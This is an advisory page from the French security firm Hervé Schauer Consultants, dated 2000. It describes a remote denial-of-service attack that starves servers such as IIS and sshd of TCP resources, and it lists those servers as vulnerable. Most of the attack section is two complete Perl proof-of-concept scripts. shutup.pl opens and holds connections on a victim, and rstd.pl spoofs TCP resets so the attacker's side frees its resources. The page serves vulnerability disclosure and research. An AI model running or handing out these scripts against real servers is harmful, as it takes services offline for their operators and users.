HSC
Cabinet de consultants en sécurité informatique depuis 1989 - Spécialisé sur Unix, Windows, TCP/IP et Internet
Mode texte : accès au contenu de la page
Hervé Schauer Consultants
Vous êtes ici : Accueil > Ressources > Brèves > Remote DOS by TCP Resource Starvation
Accéder au : Site HSC des formations
Télécharger le catalogue des formations
Recherche :  
English version
   Services   
o Domaines de compétences
o Conseil & Expertise
o Prestations ISO 27001
o Audit & Évaluation
o Tests d'intrusion
o Tests de vulnérabilités (TSAR)
o Analyse Forensique
o Certification ARJEL
o Formations
o E-learning
   Conférences   
o Agenda
o Interventions passées
o Tutoriels
   Ressources   
o Index thématique
o Brèves
o Présentations
o Cours
o Articles
o Outils (téléchargement)
o Veille en vulnérabilité
   Société   
o Hervé Schauer
o Equipe
o Offres d'emploi
o Références
o Historique
o Partenariats
o Associations
   Presse et
 communication
 
 
o Newsletter HSC
o Bulletin juridique HSC
o Revue de presse
o Communiqués de presse
o Publications
   Contacts   
o Coordonnées
o Requêtes particulières
o Accès à nos locaux
o Hôtels proches de nos locaux
|>|Remote DOS by TCP Resource Starvation  

par Stéphane Aubert (13/12/2000)




Remote DOS by TCP Resource Starvation
-------------------------------------

By Stephane Aubert <Stephane.Aubert@hsc.fr>
HSC Security Research Labs
Hervé Schauer Consultants

Introduction
============

While working on the analyze of the Naptha half-advisory 
we found a lot of ways to deny a remote server by TCP 
resource starvation.

For more information on this Napta description visit:
http://razor.bindview.com/publish/advisories/adv_NAPTHA.html

We have done a proof of concept (with anti-script-kiddies) in
order to show how it is possible to deny of service tcp servers
remotely such as :

  . IIS-5 on Win2000 : Vulnerable
  . IIS-4 on WinNT   : Vulnerable
  . sshd on FreeBSD  : Vulnerable 
  . sshd on Linux    : Vulnerable
  . and so on ...

Now days, there is no solution but traffic shapping by IP address.
We are trying to find solutions to avoid such attacks.

Overview of the attack
======================

This attack can be launched from several sources (such as ddos 
infected computers or else) and use a very specific RESET server.

On the compromised computers the script shutup.pl must run.
On the reset server the script rstd.pl must run.

(These scripts are given at the end of this file.)

shutup.pl opens a lot of tcp connections on the remote victim
(syn, syn|ack, ack) without closing these connections.

This kind of attack usually consumes resources on both sides: 
the victim and the attacker, and e-business no days have, most of 
the time, more CPU and more memory that personal laptop ;-)

New idea:
---------

In order to consume resources on the victim ONLY and deny it, we use a 
reset server to close the connection on the attacker side.

  Attacker(i)  -------- SYN --------> Victim

  Attacker(i) <------ SYN|ACK ------  Victim
 
  Attacker(i)  -------- ACK --------> Victim

  Attacker(i)  -------- RESET Request ----------> Reset Server

  Attacker(i) <-------- RESET ------------------  Reset Server

  Attacker(i)  -------- SYN --------> Victim

  and so on ...


Proof of Concept
================

* Reset Server (rstd.pl)

  This code is a UDP demon waiting for UDP datagram. The payload of
  these datagrams contains the IP address of the attacker, the IP
  address of the victim, the source and destination port and the 
  ack sequence number of the last ACK. It spoof a reset segment 
  from the victim to the attacker. 

  Usage: ./rstd.pl

* Main Script (shutup.pl)

  This code will connect to a TCP port on the remote system. After
  the tcp 3-way handshake, it request a reset to the reset server 
  to destroy the socket and free the resource on the attacker side.  

  Usage: ./shutup.pl <attacker> <victim> <port> <resetserver> <udp-port>


There are several different ways to implement such attacks. This one
allow to use several computers on different networks.

We also implement a standalone version called just_shutup.pl, but we don't 
want to make it public until a solution appear.

But that's a great tools for our penetration tests ;-)


Codes
=====

--[ shutup.pl ]-----------------------------------------------------------

#!/usr/bin/perl
#
# -=- PROOF OF CONCEPT -=-
# -=- This code includes several anti-script-kiddies ! -=-
#
# Remote DOS by TCP Resource Starvation Exploit
#
# Stephane Aubert <Stephane.Aubert@hsc.fr>
# HSC Security Research Labs
# Hervé Schauer Consultants
#
# THIS SOFTWARE IS MADE AVAILABLE "AS IS", AND THE AUTHOR DISCLAIMS ALL
# WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, INCLUDING
# WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER
# RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
# CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

use IO::Socket;
use Net::RawIP;

my $attack = shift || 'localhost';
my $victim = shift || 'localhost';
my $port = shift || '80';
my $UDPserver = shift || 'localhost';
my $UDPport = shift || 5151;
my $verbose = 1;

$b = new Net::RawIP;
$a = new Net::RawIP;
$pcap=$a->pcapinit("eth0","proto \\tcp and src host $attack and \
                           dst host $victim  and port $port and \
                           tcp[13] & 16 != 0 and tcp[13] & 2 == 0",1500,30);

if( fork() ) {
  loop $pcap,-1,\&dumpit,\@a;
} else {
  while( 1 ) {
    my $sock = IO::Socket::INET->new( Proto => "tcp", 
                                      PeerAddr => $victim,
                                      PeerPort => $port);
    unless ($sock) { print "Oops, cannot connect to $port/tcp on $victim\n"}
    select(undef, undef, undef, 0.25);
    close( $sock );
  }
}

### functions ############################################################

sub dumpit {
  $a->bset(substr($_[2],14));

  my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr,
      $daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg,
      $ack,$psh,$rst,$syn,$fin,$win,$chk,$data) =
      $a->get({
        ip=>['version','ihl','tos','tot_len','id','frag_off',
             'ttl','protocol','check','saddr','daddr'],
        tcp=>[ 'source','dest','seq','ack_seq','doff','res1',
               'res2','urg','ack','psh','rst','syn','fin',
               'window','check','data']});

  printf "ACK: from %s:%d to %s:%d seq:0x%x ack:0x%x %s%s%s%s%s%s\n", 
         &ip2dot($saddr),$sport,&ip2dot($daddr),$dport,$seq,$aseq,
         ($syn?'S':'-'), ($ack?'A':'-'), ($fin?'F':'-'), 
         ($rst?'R':'-'), ($psh?'P':'-'), ($urg?'U':'-');


  printf "Send UDP to $UDPserver on $UDPport/udp : [%s:%d:%s:%d:ack=0x%x]\n",
    &ip2dot($saddr),$sport,&ip2dot($daddr),$dport,$aseq
    if($verbose);

  $sock = IO::Socket::INET->new( Proto => 'udp', 
                                 PeerPort => $UDPport, 
                                 PeerAddr => $UDPserver)
     or print "## error creating socket: $!\n";
  $msg = ''; 
  $msg .= pack( "N5", $saddr, $daddr, $sport, $dport, $aseq );
  $sock->send($msg) or print "## error sending UDP request !\n";

};

sub ip2dot {
 sprintf("%u.%u.%u.%u", unpack "C4", pack "N1", shift);
}
### END ##################################################################


--[ rstd.pl ]-------------------------------------------------------------

#!/usr/bin/perl 
#
# -=-               PROOF OF CONCEPT                   -=-
# -=- This code includes several anti-script-kiddies ! -=-
#                         -=-
# Reset server
#
# Stephane Aubert <Stephane.Aubert@hsc.fr>
# HSC Security Research Labs
# Hervé Schauer Consultants
#
# THIS SOFTWARE IS MADE AVAILABLE "AS IS", AND THE AUTHOR DISCLAIMS ALL
# WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, INCLUDING
# WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER
# RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
# CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

use IO::Socket;
use Net::RawIP;
$b = new Net::RawIP;
my $maxlen = 1024;

my $verbose = 1;
my $listenport = shift || 5151;
my $sock = IO::Socket::INET->new(LocalPort => $listenport, Proto => 'udp')
    or die "socket: $@";
print "Starting RESET UDP serveur on port $listenport\n"
  if($verbose);

my $newmsg = '';
while ($sock->recv($newmsg, $maxlen)) {
    my($port, $ipaddr) = sockaddr_in($sock->peername);
    $hishost = gethostbyaddr($ipaddr, AF_INET);

    my( $saddr, $daddr, $sport, $dport, $aseq ) = unpack("N5", $newmsg );

    printf "Received UDP from $hishost : [%s:%d:%s:%d:ack=0x%x]\n", 
      &ip2dot($saddr),$sport,&ip2dot($daddr),$dport,$aseq
        if($verbose);

    $b->set({
             ip =>{
               saddr=>$saddr, daddr=>$daddr
             },
             tcp => {
               dest => $dport, source => $sport,
               rst => '1', ack => '0', psh => '1', fin => '0', 
               seq => $aseq, ack_seq => 0, window => 0,
             }
            }); 
    $b->send();
} 
die "recv: $!";

sub ip2dot {
    sprintf("%u.%u.%u.%u", unpack "C4", pack "N1", shift);
}
### END ##################################################################




Dernière modification le 12 novembre 2003 à 13:55:01 CET - webmaster@hsc.fr
Mentions légales - Informations sur ce serveur - © 1989-2013 Hervé Schauer Consultants